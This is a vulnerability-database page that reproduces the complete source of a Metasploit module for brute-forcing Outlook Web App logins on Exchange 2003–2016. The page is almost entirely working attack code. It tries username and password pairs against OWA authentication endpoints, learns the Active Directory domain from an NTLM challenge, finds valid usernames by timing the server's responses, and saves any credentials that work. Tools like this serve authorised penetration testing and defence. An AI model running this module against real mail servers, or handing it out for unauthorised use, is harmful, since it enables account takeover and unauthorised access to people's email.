Lucene search
K

Outlook Web App (OWA) Brute Force Utility

Testing credentials on Outlook Web App (OWA) 2003, 2007, 2010, 2013, and 2016 servers. Utility includes AD domain enumeration and HTTP authentication response time checking

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::AuthBrute  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
  
def initialize  
super(  
'Name' => 'Outlook Web App (OWA) Brute Force Utility',  
'Description' => %q{  
This module tests credentials on OWA 2003, 2007, 2010, 2013, and 2016 servers.  
},  
'Author' =>  
[  
'Vitor Moreira',  
'Spencer McIntyre',  
'SecureState R&D Team',  
'sinn3r',  
'Brandon Knight',  
'Pete (Bokojan) Arzamendi', # Outlook 2013 updates  
'Nate Power', # HTTP timing option  
'Chapman (R3naissance) Schleiss', # Save username in creds if response is less  
'Andrew Smith' # valid creds, no mailbox  
],  
'License' => MSF_LICENSE,  
'Actions' =>  
[  
[  
'OWA_2003',  
{  
'Description' => 'OWA version 2003',  
'AuthPath' => '/exchweb/bin/auth/owaauth.dll',  
'InboxPath' => '/exchange/',  
'InboxCheck' => /Inbox/  
}  
],  
[  
'OWA_2007',  
{  
'Description' => 'OWA version 2007',  
'AuthPath' => '/owa/auth/owaauth.dll',  
'InboxPath' => '/owa/',  
'InboxCheck' => /addrbook.gif/  
}  
],  
[  
'OWA_2010',  
{  
'Description' => 'OWA version 2010',  
'AuthPath' => '/owa/auth.owa',  
'InboxPath' => '/owa/',  
'InboxCheck' => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found|\<a .+onclick="return JumpTo\('logoff\.aspx.+\">/  
}  
],  
[  
'OWA_2013',  
{  
'Description' => 'OWA version 2013',  
'AuthPath' => '/owa/auth.owa',  
'InboxPath' => '/owa/',  
'InboxCheck' => /Inbox|logoff\.owa/  
}  
],  
[  
'OWA_2016',  
{  
'Description' => 'OWA version 2016',  
'AuthPath' => '/owa/auth.owa',  
'InboxPath' => '/owa/',  
'InboxCheck' => /Inbox|logoff\.owa/  
}  
]  
],  
'DefaultAction' => 'OWA_2013',  
'DefaultOptions' => {  
'SSL' => true  
}  
)  
  
register_options(  
[  
OptInt.new('RPORT', [ true, "The target port", 443]),  
OptAddress.new('RHOST', [ true, "The target address" ]),  
OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", true]),  
OptBool.new('AUTH_TIME', [ false, "Check HTTP authentication response time", true])  
])  
  
  
register_advanced_options(  
[  
OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']),  
OptFloat.new('BaselineAuthTime', [ false, "Baseline HTTP authentication response time for invalid users", 1.0])  
])  
  
deregister_options('BLANK_PASSWORDS', 'RHOSTS')  
end  
  
def setup  
# Here's a weird hack to check if each_user_pass is empty or not  
# apparently you cannot do each_user_pass.empty? or even inspect() it  
isempty = true  
each_user_pass do |user|  
isempty = false  
break  
end  
raise ArgumentError, "No username/password specified" if isempty  
end  
  
def run  
vhost = datastore['VHOST'] || datastore['RHOST']  
  
print_status("#{msg} Testing version #{action.name}")  
  
auth_path = action.opts['AuthPath']  
inbox_path = action.opts['InboxPath']  
login_check = action.opts['InboxCheck']  
  
domain = nil  
  
if datastore['AD_DOMAIN'] and not datastore['AD_DOMAIN'].empty?  
domain = datastore['AD_DOMAIN']  
end  
  
if ((datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '') and datastore['ENUM_DOMAIN'])  
domain = get_ad_domain  
end  
  
begin  
each_user_pass do |user, pass|  
next if (user.blank? or pass.blank?)  
vprint_status("#{msg} Trying #{user} : #{pass}")  
try_user_pass({  
user: user,  
domain: domain,  
pass: pass,  
auth_path: auth_path,  
inbox_path: inbox_path,  
login_check: login_check,  
vhost: vhost  
})  
end  
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED  
print_error("#{msg} HTTP Connection Error, Aborting")  
end  
end  
  
def try_user_pass(opts)  
user = opts[:user]  
pass = opts[:pass]  
auth_path = opts[:auth_path]  
inbox_path = opts[:inbox_path]  
login_check = opts[:login_check]  
vhost = opts[:vhost]  
domain = opts[:domain]  
  
user = domain + '\\' + user if domain  
  
headers = {  
'Cookie' => 'PBack=0'  
}  
  
if datastore['SSL']  
if ["OWA_2013", "OWA_2016"].include?(action.name)  
data = 'destination=https://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'  
else  
data = 'destination=https://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass  
end  
else  
if ["OWA_2013", "OWA_2016"].include?(action.name)  
data = 'destination=http://' << vhost << '/owa&flags=4&forcedownlevel=0&username=' << user << '&password=' << pass << '&isUtf8=1'  
else  
data = 'destination=http://' << vhost << '&flags=0&trusted=0&username=' << user << '&password=' << pass  
end  
end  
  
begin  
if datastore['AUTH_TIME']  
start_time = Time.now  
end  
baseline = datastore['BaselineAuthTime'] || 1.0  
  
res = send_request_cgi({  
'encode' => true,  
'uri' => auth_path,  
'method' => 'POST',  
'headers' => headers,  
'data' => data  
})  
  
if datastore['AUTH_TIME']  
elapsed_time = Time.now - start_time  
end  
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT  
print_error("#{msg} HTTP Connection Failed, Aborting")  
return :abort  
end  
  
if not res  
print_error("#{msg} HTTP Connection Error, Aborting")  
return  
end  
  
if res.peerinfo['addr'] != datastore['RHOST']  
vprint_status("#{msg} Resolved hostname '#{datastore['RHOST']}' to address #{res.peerinfo['addr']}")  
end  
  
if !["OWA_2013", "OWA_2016"].include?(action.name) && res.get_cookies.empty?  
print_error("#{msg} Received invalid response due to a missing cookie (possibly due to invalid version), aborting")  
return :abort  
end  
if ["OWA_2013", "OWA_2016"].include?(action.name)  
# Check for a response code to make sure login was valid. Changes from 2010 to 2013 / 2016  
# Check if the password needs to be changed.  
if res.headers['location'] =~ /expiredpassword/  
print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}': NOTE password change required")  
report_cred(  
ip: res.peerinfo['addr'],  
port: datastore['RPORT'],  
service_name: 'owa',  
user: user,  
password: pass  
)  
return :next_user  
end  
  
# No password change required moving on.  
# Check for valid login but no mailbox setup  
print_good("server type: #{res.headers["X-FEServer"]}")  
if res.headers['location'] =~ /owa/ and res.headers['location'] !~ /reason/  
print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}'")  
report_cred(  
ip: res.peerinfo['addr'],  
port: datastore['RPORT'],  
service_name: 'owa',  
user: user,  
password: pass  
)  
return :next_user  
end  
  
unless location = res.headers['location']  
print_error("#{msg} No HTTP redirect. This is not OWA 2013 / 2016 system, aborting.")  
return :abort  
end  
reason = location.split('reason=')[1]  
if reason == nil  
headers['Cookie'] = 'PBack=0;' << res.get_cookies  
else  
# Login didn't work. no point in going on, however, check if valid domain account by response time.  
if elapsed_time && elapsed_time <= baseline  
unless user =~ /@\w+\.\w+/  
report_cred(  
ip: res.peerinfo['addr'],  
port: datastore['RPORT'],  
service_name: 'owa',  
user: user  
)  
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")  
return :Skip_pass  
end  
else  
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (HTTP redirect with reason #{reason})")  
return :Skip_pass  
end  
end  
else  
# The authentication info is in the cookies on this response  
cookies = res.get_cookies  
cookie_header = 'PBack=0'  
%w(sessionid cadata).each do |necessary_cookie|  
if cookies =~ /#{necessary_cookie}=([^;]*)/  
cookie_header << "; #{Regexp.last_match(1)}"  
else  
print_error("#{msg} Missing #{necessary_cookie} cookie. This is not OWA 2010, aborting")  
return :abort  
end  
end  
headers['Cookie'] = cookie_header  
end  
  
begin  
res = send_request_cgi({  
'uri' => inbox_path,  
'method' => 'GET',  
'headers' => headers  
}, 20)  
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT  
print_error("#{msg} HTTP Connection Failed, Aborting")  
return :abort  
end  
  
if not res  
print_error("#{msg} HTTP Connection Error, Aborting")  
return :abort  
end  
  
if res.redirect?  
if elapsed_time && elapsed_time <= baseline  
unless user =~ /@\w+\.\w+/  
report_cred(  
ip: res.peerinfo['addr'],  
port: datastore['RPORT'],  
service_name: 'owa',  
user: user  
)  
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")  
return :Skip_pass  
end  
else  
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response was a #{res.code} redirect)")  
return :skip_pass  
end  
end  
  
if res.body =~ login_check  
print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}'")  
report_cred(  
ip: res.peerinfo['addr'],  
port: datastore['RPORT'],  
service_name: 'owa',  
user: user,  
password: pass  
)  
return :next_user  
else  
if elapsed_time && elapsed_time <= baseline  
unless user =~ /@\w+\.\w+/  
report_cred(  
ip: res.peerinfo['addr'],  
port: datastore['RPORT'],  
service_name: 'owa',  
user: user  
)  
print_status("#{msg} FAILED LOGIN, BUT USERNAME IS VALID. #{elapsed_time} '#{user}' : '#{pass}': SAVING TO CREDS")  
return :Skip_pass  
end  
else  
vprint_error("#{msg} FAILED LOGIN. #{elapsed_time} '#{user}' : '#{pass}' (response body did not match)")  
return :skip_pass  
end  
end  
end  
  
def get_ad_domain  
urls = ['aspnet_client',  
'Autodiscover',  
'ecp',  
'EWS',  
'Microsoft-Server-ActiveSync',  
'OAB',  
'PowerShell',  
'Rpc']  
  
domain = nil  
  
urls.each do |url|  
begin  
res = send_request_cgi({  
'encode' => true,  
'uri' => "/#{url}",  
'method' => 'GET',  
'headers' => {'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=='}  
})  
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT  
vprint_error("#{msg} HTTP Connection Failed")  
next  
end  
  
if not res  
vprint_error("#{msg} HTTP Connection Timeout")  
next  
end  
  
if res && res.code == 401 && res.headers.has_key?('WWW-Authenticate') && res.headers['WWW-Authenticate'].match(/^NTLM/i)  
hash = res['WWW-Authenticate'].split('NTLM ')[1]  
domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'')  
print_good("Found target domain: #{domain}")  
return domain  
end  
end  
  
return domain  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: opts[:service_name],  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
# Test if password was passed, if so, add private_data. If not, assuming only username was found  
if opts.has_key?(:password)  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
else  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user]  
}.merge(service_data)  
end  
  
login_data = {  
core: create_credential(credential_data),  
last_attempted_at: DateTime.now,  
status: Metasploit::Model::Login::Status::SUCCESSFUL,  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def msg  
"#{vhost}:#{rport} OWA -"  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation